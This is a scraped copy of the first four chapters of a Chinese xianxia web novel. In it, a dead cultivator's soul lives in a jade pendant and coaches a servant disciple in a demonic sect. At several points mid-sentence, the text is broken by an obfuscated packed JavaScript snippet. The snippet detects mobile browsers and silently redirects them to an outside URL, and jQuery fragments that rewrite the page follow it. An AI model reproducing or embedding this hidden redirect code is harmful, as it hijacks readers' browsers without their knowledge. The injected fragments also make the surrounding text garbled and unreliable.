《你在人间》 1. 第 1 章 谢琳琅有意识的时候，正听到一个有些尖锐的嗓音在喋喋不休。 “……入我魔门，修我魔气，成为魔修，第一要注意的事就是长脑子。” 这声音自带蛊惑感，仿佛要深深烙印在倾听者的脑子里，成为金科玉律，不容置疑，不容反驳。 “我们魔修和真修最大的区别在于吸收的魔气天然会放大负面情绪，会让修士陷入到不稳定的状态中，从而做出非常愚蠢不可救药的事，一步踏错，就会堕入邪道，成为人人得而诛之的悬赏犯，这也是修行之道众多，唯独魔修的通缉令最多的原因之一。” 谢琳琅下意识地对抗这股声音，但很快就反应过来。 等等，他应该已经渡劫失败、身死道消了，怎么还会醒来？ “天地混沌之气分清浊，清气为那些仙门修士的修行之基，浊气为我们魔修修士的根基，双方阴阳协调、黑白相合，但我们魔修最大优势在于进步速度极快，可以速成，因为我们主打掠夺生机，损人利己，和仙门修士正好相反。” 说话声音的主人发出了桀桀笑声，“不要因此而愧，就像大鱼吃小鱼，小鱼吃虾米，天地灵气为定数，仙门修士的数量像是蟑螂一样越来越多，总会需要我们魔修维护天道运行、协调四时运转，送一些福运浅薄、能力不足和伪君子们去冥府报道。” 谢琳琅听到这里有些无语。 作为仙门九夏山的修士，谢琳琅虽然也认识一二魔修朋友，但他也不太清楚魔修的具体修行和成长事宜，是以他也是第一次听到这种魔门修行之秘。 不过比起魔门修行秘法，谢琳琅更想搞清楚他现在的状态。 他好像没有身体，只留下了一抹残魂，灵力十不存一，似乎正处于一枚玉佩之中。 而玉佩主人貌似是一名魔门刚入门的弟子，此刻这弟子正在听宗门大课。 “但哪些是福缘浅薄、没有能力之辈呢？这就需要你们要多观察、多学习，要找好下手的目标，最好不要有什么师长亲缘，那会引来一连串的报复，也不要找那些一看就没什么钱的散修，他们资源少没人引导，能修行到高深之境，必然都是居心叵测之辈，甚至可能是你们的大前辈。” 来上宗门大课的门中长老大声道：“还有我们魔修既然能速成，那也是有一定弊端的，比如根基不稳，容易堕入邪道，再比如我们跨境界的天劫威力要比仙门修士难度高两成，懂了吗？如果你们干得太过分了，老天爷不会记得你们帮他清理了多少冗余垃圾，它只会将你也一波带走，想要安然度过天劫，延续寿命，就动点脑子。” 他的声音坚定而掷地有声，“魔修不留蠢货！欢呼吧，庆贺吧，雀跃吧！你们能入我魔门，已经比那些死板蠢笨的仙门修士要强一大截了，说明你们的智商比他们高！” 谢琳琅没吭声，他能察觉到自己所在的玉佩主人呼吸变得急促起来，似乎为魔门长老的鼓舞而激动着。 说实话，谢琳琅没想到自己会变成玉佩里的一抹残魂。 谢琳琅以前也翻阅过典籍，听闻修士陨落后魂魄会落入冥府，受地府神君审判。 有功德者在下一世享福禄寿，大奸大恶之徒会在无尽轮回中偿还做下的罪孽，直到因果全消，才能得到安息。 修士大抵问心问道，哪怕是魔修也有各种手段消解因果业障，所以死后真魂很少会落入地府。 有执念者会残存于世，变成小辈的随身老爷爷，争取再创修士生涯辉煌。 无执念者会化为天地间一缕自然灵力，再无痕迹。 谢琳琅自认为没什么执念，也没有飞升成仙的信心，所以当他发现自己没有彻底消失时非常惊讶。 不是吧，他都摆烂了，怎么还能强制当随身老爷爷的？ 对于一个想彻底安息的修士来说，最烦这种莫名进入某个修行之物里，再变成某个小辈的金手指，陪着后辈重新奋斗。 已经干过一遍的事还得再来一遍，累不累啊？ 谢琳琅索性放平心态，只当那宗门长老的话语为催眠曲。 宗门长老似乎讲的差不多了，正好到了提问环节。 一个弟子举手问：“师叔，您能举一个前辈们如何挑选目标的具体例子吗？” 宗门长老慢条斯理地说：“也罢，说一个已经陨落的前辈往事吧，那位前辈名叫如月，喜好修沟子，无意间勾到了一位仙门修士，本想着是露水姻缘一场欢好，可谁曾想那仙门修士有个小天地，在外时人模狗样，实际上他在小天地内囚禁了诸多天赋极佳的男女少年当炉鼎玩弄，如月前辈将仙门修士吸成人干后，竟得了一番功德，这功德安然保他度过了化神天劫，令人很多同道中人都羡慕不已，希望能在仙门之中再找一个类似的肥羊。” 谢琳琅本是当催眠曲听的，只是听到宗门长老举的例子后有些惊讶。 他知道那个仙门修士，据说是天凌宗宗主的三大弟子之一，实力强横，擅长创新术法，实战能力彪悍，谁能想到他背地里竟干出如此有伤天和之事。 不过谢琳琅听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456910|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的版本是，天凌宗主慧眼如炬，主动发现了弟子的问题，大义灭亲，亲自清理门户，干掉了这个堕入邪修之道的弟子。 原来魔门这边是另一个版本？ 那弟子大呼学到了，又问：“那如月前辈是如何陨落的？” 宗门长老：“就是去年，他听闻我们寂夜宫宫主、寂夜魔君痛失所爱，说要帮咱们宫主重登极乐，被咱们宫主串成叉烧了。” 那弟子顿时噤若寒蝉。 谢琳琅听后嘶了口气，原来他在寂夜宫啊。 据说寂夜宫是一个位于魔域南部沿海的魔门大派，但由于魔域和真域那边有界门相隔，寂夜宫在仙门修士那边声名不显，唯一一个出圈的人是寂夜宫的宫主，寂夜魔君。 寂夜魔君心狠手辣，甚至能一个人灭掉某个中型宗派，仙门曾组织围杀，却让他反杀了一批高手，可见其实力强悍。 还有人说他已经踏入渡劫期，只要再踏过最后的天劫，就能飞升到上界成为真仙。 唔，如月宗主作死凉凉，毫不意外呢。 又有一名弟子举手提问：“既然我辈魔修是损人利己，那为什么会有魔修宗门的存在呢？理论上前辈们开设魔宫，收取魔修弟子，不正是分摊了前辈们的资源吗？” “好问题！”那宗门长老一副尔等这批弟子多有聪颖之辈的神态，“因为肥羊太少了，来给你们上课也是教化众生的方式之一，连着上一百年，多少能积攒些功德，削点天劫的威力。” “寂夜宫是方圆万里之地的魔门大宗，咱们这边本就魔气比灵气丰裕，会出现很多魔根天成的好苗子，为了防止你们被魔气侵蚀理智，从而做出蠢事，寂夜宫有义务引导尔等明白何为天道。所谓不知者不罪，若你们什么都不懂就犯蠢，那是寂夜宫的责任，但如果你们懂了还犯蠢，那就是你们自己福缘浅薄、与大道无缘了。” 端是一个你们自己作死、与宗门无关的冷酷态度。 “对了，你们出门在外，除非有把握面对各方围杀，比如咱们宫主，最好不要将宗门和自己师父的名号说出去。” 宗门长老难得说了一句大实话，“因为你不知道自己选的师父是否有业障和霉运会牵累到你，而目前咱们寂夜宫在仙门修士的仇恨值位列第一，不想享受宫主的追杀待遇，就老实闭嘴。” 所有弟子听后都深深点头赞同。 谢琳琅大受震撼，怪不得他认识的魔修朋友们从不提自己出身。 原来是怕被迫挡灾，给师父和宗门平账啊！ 2. 第 2 章 一场宗门大课结束了，弟子们三三两两结伴离开。 谢琳琅所在的玉佩主人也起身回到自己暂时居住的小院。 寂夜宫内魔气涌动，亭台楼阁若隐若现，宗门整体坐落在一个半岛上，半岛外围有很多回字形构造的普通院落，四排房子围一个天井，是杂役和普通弟子居住的地方。 玉佩主人进入了侧面廊房中。 长条形的廊房隔开了两个房间，右边这间房门上挂着号牌，上面写着沈鹤。 原来玉佩主人叫沈鹤。 左边那间房门旁挂着的号牌上写着庞三鲜。 咔嚓，左边的房门被推开了，一个小胖子探出脑袋。 庞三鲜：“沈师弟，你上完大课了？宗门大课其实就是前辈们侃大山，打着教化众生的名义转嫁他们干的缺德事，试图让我们分摊他们身上的业障，你听的次数多了，小心走霉运。” 沈鹤似乎笑了一声，他道：“我听了对我有用的知识，分摊点业障也是应该的，你也知道我爷爷只是个普通人，若不是有幸加入宗门，我什么都不懂。” 庞三鲜：“也对，你上完大课，应该能拿到两个课时点吧？能分我一个吗？我饿了，但没课时点了。” 宗门大课可以帮前辈们分摊业障，来听课的弟子们不仅能听到一些魔修前辈们的缺德经验，也能得到两个课时点，课时点可以去宗门食堂换蕴含魔气的食物，能提升修为。 ——你分了我的业障，我也给了你足够多的好处，主打一个银货两讫。 但既然都是我辈魔修了，自然有魔门弟子不想承接前辈们的业障因果，但又想吃大餐提升修为啦！ 比如现在这种情况。 沈鹤似乎有些不情愿：“我上次借给师兄的课时点，师兄还没还给我……” 庞三鲜满不在乎地说：“我可是正经弟子，你只是杂役，能听课就是得了天大福运，再多就是灾了，我这是帮你消灾，赶紧的，将课时点给我。” 谢琳琅听到这里忍不住翻白眼。 谢琳琅：太典了，每年散修中的大佬、仙门弟子里的外门天才都是从杂役干起的。 魔修们脑子真的聪明吗？都这样了还要霸凌杂役？ 沈鹤咬了咬牙：“不行，我不能给你。” 庞三鲜立刻威胁沈鹤：“你爷爷还在我家的酒楼里当掌柜，小子，要不是当初魔门仙师去我家酒楼吃饭，收了我为徒，还顺带发现在大堂当小二的你也有魔根，你现在还在酒楼唱菜名呢！” 沈鹤一下子急了：“你威胁我！” 庞三鲜不屑地说：“老子就是威胁你怎么了？” 沈鹤手握成拳直接捶了过去。 庞三鲜别看人很胖，动作很灵巧，轻巧避开后，反手一巴掌将沈鹤拍到了墙上。 “你小子才修炼多久？没资源没背景，还想和我打？” 庞三鲜那肥肥的脸盘上露出一丝狰狞，“信不信我立刻传讯回家，让你爷爷直接入土？” 沈鹤听到这里气血攻心，眼睛都要变红了，他和爷爷相依为命，若是爷爷因此而死…… 谢琳琅本来只是漠然地听着，但就在此时，他突然察觉到沈鹤体内有什么东西即将爆发，下一秒他所栖身的玉佩竟吸收了那股力量！ 谢琳琅惊讶极了，他的力量提升了一丝？ 沈鹤：“我、我……” 就在他艰难地将自己从墙上抠出来时，庞三鲜已经走过来了。 他伸出肥而厚的手掌，一把掐住沈鹤的脖子，正要继续放狠话，下一秒，原本似乎已经没有还手之力的沈鹤突然反手抽了庞三鲜一巴掌。 沈鹤呆住了。 等等，不是他啊，他的手自己动了起来！ 庞三鲜不可思议地看沈鹤。 刚才那一巴掌打的非常有技巧啊，就那么清亮亮地扇在他脸上，庞三鲜的肥脸瞬间涨成了猪肝色：“我看你这小子是不想活了！” 可是沈鹤猛地提膝，膝盖正撞到了庞三鲜的下巴，趁着庞三鲜吃痛松开手之际，沈鹤单手撑墙，凌空旋转180°，抬脚揣在了庞三鲜的脸上。 咔嚓—— 庞三鲜那肥肥的身躯直接撞破了房间三开大门，吧嗒一声摔在了天井中。 沈鹤却如一只鹤般轻盈落地。 他站立的姿势发生了翻天覆地的变化，不再如此前那般佝偻着身躯，身姿挺拔如松，气质泠然如玉，看过来的眼神漠然中透着冰冷。 回字形的院落里自然还住着其他弟子，但听到外面的动静，魔修弟子全都洁身自好，没有上一个主动冒出来凑热闹，甚至还有一二人吧嗒关上了透气的窗户，主打一个雨我无瓜。 庞三鲜被这眼神所慑，强自镇定地喊了一句：“你给我等着！” 然后以更快的速度仓惶跑了。 沈鹤呆滞地看着这一幕，不知道过了多久，他猛地回神，赶紧回到房间还关上了门，开启了防护阵法。 他将胸前的玉佩拿了出来，小声道：“前辈？” 谢琳琅向来不喜废话，能动手就懒得开口。 他之所以突然控制沈鹤揍了庞三鲜，一方面是沈鹤已然是魔修弟子，却还会在乎身为普通人的爷爷，本性不坏；另一方面也是想实验一下玉佩的力量。 此刻谢琳琅正在感悟这枚玉佩的功效，没空搭理沈鹤。 沈鹤有些摸不着头脑。 他全身上下也就只有这枚玉佩是不凡之物了。 按照他听大课的经验，的确会有不少遭天劫清算的大前辈提前用手段，延续生命、依附在后辈身上。 通过教导后辈，随身老爷爷会将自身劫难转嫁给后辈弟子，让自己再度踏上修行之路。 这枚玉佩整体漆黑，只有巴掌大，入手温润，上面雕刻着细细的翎羽纹路，偶尔会泛起一丝红光。 按照他爷爷的说法，他父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456911|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲被仇人追杀，没法照顾他，就将他交给爷爷照料，并留下了一枚黑玉作为未来相认之物。 但十四五年过去了，沈鹤在爷爷的拉扯下长大，倒也没有家人寻来，他和爷爷相依为命，早已将爷爷看做是自己最亲的长辈。 “如果不是玉佩，那还是什么？” 沈鹤思考再三，都找不到可以承载随身老爷爷的东西。 然而就在他将玉佩举过头顶仔细观察，谢琳琅研究玉佩的同时漫不经心地一瞥，竟如遭雷击。 沈鹤很瘦，他的皮肤很白，看上去有点不健康。 少年的黑色短碎发扎在脑后成一个小马尾，脸型微圆，一副没张开的样子。 他穿着黑色短打和深褐色长裤，做宗门杂役的打扮，腰间挂着银色宗门身份牌。 但最吸引谢琳琅瞩目的是少年的眼睛。 沈鹤的眼睛黑而亮，眼形轮廓微圆，眼角上挑，一看就觉得亲切活泼。 就像是谢琳琅记忆深处的眼睛。 哪怕数百年过去了，谢琳琅仍然忘不了第一次见到师兄裴霁的情形。 那时谢琳琅刚拜入宗门，随着宗门执事前往师父所在的修行之地。 一迈入厅堂，谢琳琅就见一个少年长身如玉，穿着深绿色袍子，落肩长发随意散着，他看上去吊儿郎当，却又自带一抹狂放之气。 那是他的师兄裴霁。 听闻有新师弟入门，裴霁抬头看过来。 而就是这抬头的瞬间，整个厅堂似乎落满了阳光，谢琳琅一下子怔住了。 少年抬眸轻笑，若云消雨霁，满室生辉。 …… 另一边，庞三鲜忿忿地溜达到宗门食堂，他动了动鼻子，感受着包间里时不时传来令人熏熏然的魔气，心头郁闷极了。 可恶，沈鹤怎么突然这么厉害？难不成真像宗门大课的师叔们所言，陨落的大前辈们最喜欢给杂役当随身老爷爷？ 就在此时，包间里突然冒出汹涌的魔气，下一秒有人发疯一样冲出来。 “出事了！快请宗门师伯们过来！” 很快食堂就围满了弟子。 庞三鲜震撼地看着包间里抬出来的一个个担架，久久无法说出话。 “……貌似是负责炼丹的林师伯配错了药剂，导致一味香料变成了剧毒……” “没死，虽然吃了剧毒，但死不了，顶多是给林师伯当一阵子药人而已。” “……我记得之前林师伯发布了招收药人的宗门任务，但没人愿意接。” “谁那么傻去接这种任务？” “所以林师伯就自力更生了？” 庞三鲜听着人群中弟子们的窃窃私语，猛地抽了自己两嘴巴子。 他转头就往回冲。 天啊沈鹤那小子、不对，沈师弟他福缘深厚，未来必成大器啊！ 是他之前有眼无珠，从今天开始他就跟着沈师弟混了！ 3. 第 3 章 “你叫沈鹤？” “是的前辈。” 此刻沈鹤并不知道庞三鲜正飞奔来当他的小弟，他正战战兢兢地捧着玉佩，回答着突然冒出来的随身老爷爷的问题。 “这枚玉佩是父亲留下来的，爷爷说他不知道父亲长什么样，因为那天晚上没月亮，只闻到了很香的气味，他说我父亲是仙人，正被人追杀，不得不将我拜托给了爷爷……” 沈鹤老老实实地讲了自己的人生经历，少年十四五岁成长到现在，因家境贫寒，早已随着爷爷见遍了人世辛酸。 再加上宗门大课里师叔们的描述，让少年有了一个较为朴素而精准的认知：随身老爷爷大多比他精明，他一个生瓜蛋是不可能骗过人老成精的随身老爷爷。 以及这样的随身老爷爷肯定有求于他，只要自己保持理智，实话实说，别和老前辈们犟嘴，就能少受很多罪，运气好了还能得到一些东西。 就算搞诈骗，也要先做局给点好处对不对？ 谢琳琅细细听着，他仔细询问了托孤之人的面貌。 但沈鹤当年只是一个半岁幼儿，什么都不知道，一切都是听收养他的爷爷描述的。 他这个爷爷早年是卖甑糕的，后来攒钱租了个临街门面房，每日卖点甑糕度日，没有任何奇异之处，最起码从沈鹤描述来看是这样的。 后来沈爷爷年纪大了干不动了，就将门面房租了出去，自己带着小孙子跑到庞三鲜家开设的酒楼里当掌柜。 谢琳琅又道：“说说遇到仙师的事。” 沈鹤：“我遇到的是宗门里的刘师伯，庞师兄家有修行之人，通过特殊烹饪，能将魔气侵染的魔植做成美味佳肴，所以生意一直不错，刘师伯貌似是去三里镇办事，顺便来庞家酒楼品鉴菜肴。” 刘师伯去酒楼吃饭，庞老板知道刘师伯是寂夜宫高人，就特意让儿子庞三鲜去露了个脸，看看有没有加入寂夜宫的机会。 “我当时在大堂打杂，刘师伯吃完下楼时从大堂路过，正好看到我，他说我有魔根，给了我一枚信物，庞老板让我成了庞师兄的小厮，跟着他一起拜入了寂夜宫。” 沈鹤口齿伶俐、快速而清晰地将当初他加入寂夜宫的缘由说了出来。 谢琳琅听后沉默不语。 修士吸取天地精华超脱凡俗，陨落后自然也会将一身修为散落天地。 但散落的是修为，那久经淬炼的真魂落入黄泉地府，会被冥府诸多神君评判功过。 有功者享福禄寿，有过者自有十八层地狱接客。 裴霁生前性格疏朗阳光，也曾乐善好施，即便半途陨落，踏入轮回转世，也该有个双亲俱全、富贵安宁的出身。 为什么他的父亲会遭人追杀，还不得不将他托付给一个孤寡老人？ 还有裴霁生前是真修，转生后怎么有了魔根？ 虽说魔根和灵根没什么差别，可灵根修行总比魔根要轻松一些的，进度慢但是安全啊！ 谢琳琅百思不得其解，他对沈鹤道：“你的魔根是什么品什么属性？” “天品火属性。” “咦？比那个庞三鲜要好。” 沈鹤苦笑道：“是啊，否则庞师兄也不会没事就找我要课时点。” 修士踏入修行之道后，之前的身份就不重要了，只看天赋和实力，这让一直自诩为大少爷的庞三鲜怎么能忍？ 谢琳琅：“你已经踏入炼气了？” 沈鹤：“是的，入门当天拿了宗门派发的功法和资源，当晚就直接进入了炼气一层。” 魔修进度就是快啊，谢琳琅忍不住腹诽，正常仙门子弟想要踏入炼气一层，怎么也得揣摩典籍、感悟天地灵气，三五日后才会有气感，继而引气入体，成为修士。 谢琳琅有些纠结。 若上辈子是修士，这辈子重登修行之路后，大概率会觉醒过去的记忆，但沈鹤似乎并无变化。 是因为他的修为太低了？还是变成魔修的后遗症？ 谢琳琅拿不准沈鹤到底是不是裴霁的转世，但当他看到少年脸上忐忑而不知所措的表情，又心软了。 他已经太久没见到与裴霁如此相似的面容了，还是如此活生生的，并非画像、而是带着生者的生机和朝气的人。 谢琳琅静静看了许久，一声叹息。 不管沈鹤是不是，既然他已经成了沈鹤玉佩里的一抹残魂，也许他与沈鹤间存在着因果。 ……换句话，来都来了，能吃个代餐也不错。 爷不摆了。 “叫我道爷就行了。” 谢琳琅语气平和地说：“我生前非魔修，不清楚你们魔修的情况，但修行之路总有相似之处，我可以教导你修行杂学。” 沈鹤听后先是一愣，继而不可思议地说：“您、您是真修？等等，我听宗门师叔说，一般只有渡劫失败的魔修大前辈会想着找个后辈帮忙消灾……” 谢琳琅轻笑起来：“你那宗门师叔说话虽然难听，倒也没骗人，人有善恶，天分日月明暗，道魔此消彼长，如阴阳鱼盘生生不息，二者没有高下之分，所有修士都可能在陨落时出现意外，成为天地间一抹残魂，若此时出现什么容纳或者捕捉残魂的灵器，就会变成我这种情况。” 沈鹤细细思考着，他小心翼翼地问：“您想要什么？小子实力低微，不知道是否能为您提供帮助……” 谢琳琅打量沈鹤：“你说的没错，你现在太弱了，变强后再付我报酬吧。” 之前不知道就算了，如今发现了疑似裴霁的转世，谢琳琅突然又有了修行的动力。 也许他一辈子都等不到，但万一呢？ 万一裴霁真的转世了，他自己陨落了再也无法与裴霁相见，那真是愤怒不甘到想想就要仰卧起坐的程度了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456912|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然他现在是一抹残魂，但只要随着沈鹤的实力提升，谢琳琅就能从沈鹤身上得到力量，积聚到一定程度，再配合着特殊丹药和天地灵物，也许能重塑真身呢！ 就在此时，沈鹤房间外的阵法被人触动了。 沈鹤怔了怔，他快速收起玉佩，打开房门，正看到满头大汗的庞三鲜。 “额，你……” 沈鹤还来不及说话，就见庞三鲜那肥硕的脸上挤满了谄媚的笑容。 “啊呀沈师弟，我刚才没伤到你吧？” 沈鹤面色古怪，庞三鲜脸上还有他、哦是道爷踹出的鞋印，到底谁伤到谁了啊？ 庞三鲜这厮怎么前倨后恭？发生了什么？ 沈鹤顿了顿，常年在大堂见各种食客、以及幼年跟着爷爷卖甑糕，让沈鹤比同龄人的腰肢更柔软，他苦笑着，主动抱拳道：“我没事，庞师兄，咱们既然一起拜入宗门，总比其他不知根底的师兄弟要强，之后还请师兄多多关照小弟。” 庞三鲜大喜：“没错，之前是师兄我脑子进水了，之后咱们师兄弟当互帮互助才行啊！” 顿了顿，他凑到沈鹤耳边，小声讲之前食堂发生的事说了一遍。 “……那林师伯明显是故意的，幸好师弟你没给我课时，否则我现在也成林师伯的药人了。” 沈鹤张了张口，所以他的随身道爷竟还救了庞三鲜一次吗？ 他继续苦笑：“庞师兄，魔修的便宜哪有那么好占的？即便是宗门……” 沈鹤的话说到一半，脑海里突然响起了谢琳琅的声音。 谢琳琅不想浪费时间：“你是杂役，可以去丹房申请帮忙。你那林师伯突然多了一批药人，此刻必然需要很多照顾药人的杂役，你去申请帮忙，不仅能白嫖到一些丹药，也许能摸点废弃材料，道爷我帮你炼制一下，能让你快速提升修为。” 沈鹤有些失神。 林师伯总是会研究一些稀奇古怪、听起来就毛骨悚然的丹药，宗门弟子没事根本不会去丹房，可富贵险中求，他没背景没资源，想要提升实力只能冒险。 再说了，他现在是有随身道爷的人了，看在他还有用的份上，道爷不会看着他去死吧？ “……即便是宗门的便宜，也必须想办法去占一占。” 沈鹤毫无违和感地改变了态度，“你想啊，我们在宗门占便宜，就算失败了，只要有救的可能，宗门就不会放我们不管，但如果在外面占便宜失败了，那就立刻身死道消！” “不在宗门里多积累点经验，出去了怎么办？” 庞三鲜瞠目结舌，沈鹤这小子在说什么鬼话啊？ 但为什么他居然觉得很有道理？ 沈鹤推门准备离开。 “沈师弟？你要去干嘛？” “去丹房问问，是否缺杂役。” 庞三鲜瞳孔地震，沈师弟疯了？ 4. 第 4 章 任务派发处的郑师叔的确处于头疼和烦躁之中。 宗门大佬们只需要专注研究各种术法就行了，但宗门任务派发处的执事需要考虑的就多了。 林师伯得了一批药人自然美滋滋，可这些弟子本身接的任务自然泡汤了，任务处需要重新安排任务。 丹房多了一批药人，姑且不提丹房内需要新人来帮忙，丹房消耗的材料必然会增加，那药园那边的人手是不是也得增加？ 如果基础药材和高端药材可以在宗门药园里采摘，那中等层次的魔植就需要宗门弟子出去做任务采摘回来，还有些材料也需要现场宰杀魔兽，再提取其中所需之物。 那么任务处是不是要相应增加一批任务？ 而做任务就需要宗门弟子，可是已经有一批弟子成了药人，最少半个月没法干活，那么就只能从其他地方抽调。 那其他部门，比如炼器的、炼符的、炼阵的缺人了怎么办？ 更别说有些弟子身份特殊，有些弟子背后有关系，还有些弟子性格暴躁不适合干某些伙计……林林总总加下来，总之，寂夜宫的任务派发处是个不好干的活。 沈鹤跑过来说想接丹房杂役的任务，郑师叔还觉得诧异。 怎么还有杂役主动找死的？ 沈鹤说出了很有魔修风范的理由：若能侥幸得到一二丹药，可以快速提升修为。 郑师叔面上露出赞许之色，心中鄙夷。 丹房那地方天天炸炉，是杂役折损率最高的地方，别说侥幸得到丹药了，估计这厮明天就挂了。 于是沈鹤接到了这个任务。 谢琳琅注意到郑师叔那一闪而过的细微表情变化，略一沉吟就道：“一会到了丹房，你放松身体，我来操作。” 沈鹤老老实实地应了。 丹房的位置在寂夜宫核心区域，向守门弟子展示了身份后，沈鹤进入了丹房。 丹房是一个很宽敞的、类似回字形院落的超大院落，中间空地放着各种需要日晒或者特殊处理的药材。 房间门都开着，外面有一层阵法波动，隔绝了里面的丹药魔气，防止互相侵扰。 守门弟子将沈鹤带到一个房间前就离开了。 沈鹤闭上眼，下一秒，谢琳琅操纵了沈鹤的身体。 他上前将身份铭牌拍在门栏上，门无声地开了。 一进门，房间半空悬浮着一个魔气四溢的丹炉，里面时不时冒出紫黑色的光，眼瞅着下一秒就要炸炉了。 站在丹炉前的一个修士二话不说，抓着身侧一个杂役直接扔进了丹炉里。 伴随着惨叫声，丹炉暂时安静了下来。 那修士瞟了一眼站在门口的谢琳琅，冷笑道：“来的正好，过来帮忙布置药材，若是慢了一步，让丹炉炸了，你就进去陪他！” 沈鹤吓得直接呆住了。 好在操纵身体的是谢琳琅，他不卑不亢地行了一礼：“是。” 谢琳琅走到丹炉前的料台，快速扫了一圈。 他曾是修真界颇负盛名的丹王，虽然对魔植的了解不太深，但这修士的炼制水平对比谢琳琅来说简直惨不忍睹。 谢琳琅能根据料台上魔植翻涌的魔气，再根据丹炉周围那如浪潮般炸开的魔气，大概判断出这是一种能极大增幅魔气的丹药。 和谢琳琅这样正规丹王大师炼制出的、没有任何后遗症的丹药相比，魔修炼制的魔丹主打一个功效给力，后遗症强悍，将杀敌一千自损八百的魔修特性展现得淋漓尽致。 谁吃了这丹炉里炼制出的魔丹，纵然获得了强大力量，也沾了上了死去杂役的因果，多了一份罪业，喜提天劫强度增幅百分之一。 不过魔修嘛，大多不在乎这点副作用，先扛过了眼前的麻烦再说。 谢琳琅脑海里转悠着这些乱七八糟的想法，手上动作不慢，快速梳理了一下料台上的各种材料，并在丹炉的炉盖再一次发出不稳的碰撞声时，抬手将一束似乎是干花的魔植扔进了丹炉。 谢琳琅扔的很有技巧，那魔植落入的瞬间，正是魔气收缩后即将爆发之刻。 魔植受到灵火焚烧，魔气汹涌冲出，与爆发的魔气相互撞击并融合，那炉盖稳稳地落了回去。 那修士诧异地看了一眼谢琳琅：“你此前学过炼丹手法？” 谢琳琅淡淡道：“大课有教。” 修士面色微变，若只是听了大课就能有这样的手法，足见此子天赋不凡。 不能留！ 他夸奖谢琳琅，“干得好，你不是临时杂役了，以后来丹房帮忙吧。” 谢琳琅拿出身份铭牌：“前辈。” 这是要求对方立刻将待遇落实了。 那修士心下冷笑，一会就让你进去当材料！ 他大方地将沈鹤从外门杂役变成了内门丹房帮佣。 沈鹤一直保持沉默，此刻有点没忍住。 “刚才那个杂役是不是也这样没的？” 误以为是机缘，没想到却是死路？ 谢琳琅能感受到沈鹤复杂而难过的情绪，心中有些诧异。 沈鹤好歹加入寂夜宫有一段时间了，怎么，才知道魔修尔虞我诈、不可轻易占便宜吗？ 但随即谢琳琅心底又觉得合该如此。 裴霁的转世自然也是光风霁月的君子，见到这等情况肯定会有所触动。 谢琳琅安抚沈鹤：“你且安心，一切有我。” 他收回身份铭牌，继续往丹炉里扔药材。 时间一分一秒过去，沈鹤只有炼气一层修为，很快魔气耗尽。 就在他面色苍白、力有不逮的瞬间，那修士猛地反手抓过来。 但下一秒，谢琳琅的身体如游鱼般轻轻一扭，避开抓取的同时反手拍了一下材料台。 料台上一个莹白如玉的伞菇突然张开伞盖，喷出了一大片粘稠的液体，正好染到了修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456913|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍来的手臂上。 那修士仿佛被定身似的，竟动不了了！ 紧接着，原本还算安稳的丹炉像是活过来似的，炉盖飞起，炉内冒出一股汹涌的魔气，化为一只可怕的手，直接将那修士抓入炉中。 这次连惨叫声都没有，那修士就化为一抹材料，融入了魔丹里。 沈鹤目瞪口呆，天啊，这就是道爷的让他安心？ 而谢琳琅立刻有技巧地将伞姑撕成了三份，一手打法诀，一手随时扔伞姑。 直到谢琳琅将伞姑扔进去，又将一瓶水溶液撒进去，他才露出疲惫之色，后退两步，对沈鹤说：“好了，你来吧。” 沈鹤战战兢兢：“可、可是那位师兄……” 谢琳琅淡淡道：“怎么？你想进去？那丹炉里已经有两缕厉魂了，差一个正好凑成天地人三才炉。” 沈鹤阿巴阿巴了半天。 炼丹的人都死了，只剩下他一个杂役，他要怎么向其他丹房的前辈们解释？ 话说，这位道爷的动手效率是不是太高太快了点？ 谢琳琅欲言又止，但终是一言不发。 若沈鹤连这点急智都没有，那还是别在魔门混了，回庞氏酒楼当店小二更安全。 十几秒过后，沈鹤一咬牙，猛地解开阵法，踉跄冲出房门。 沈鹤一脸敬意地嚎叫起来：“师兄投炉炼丹，以身成魔，我辈楷模啊！快来人啊，这一炉丹药就差最后收丹了，我不会收丹，但不能让师兄的心血就此浪费啊！” 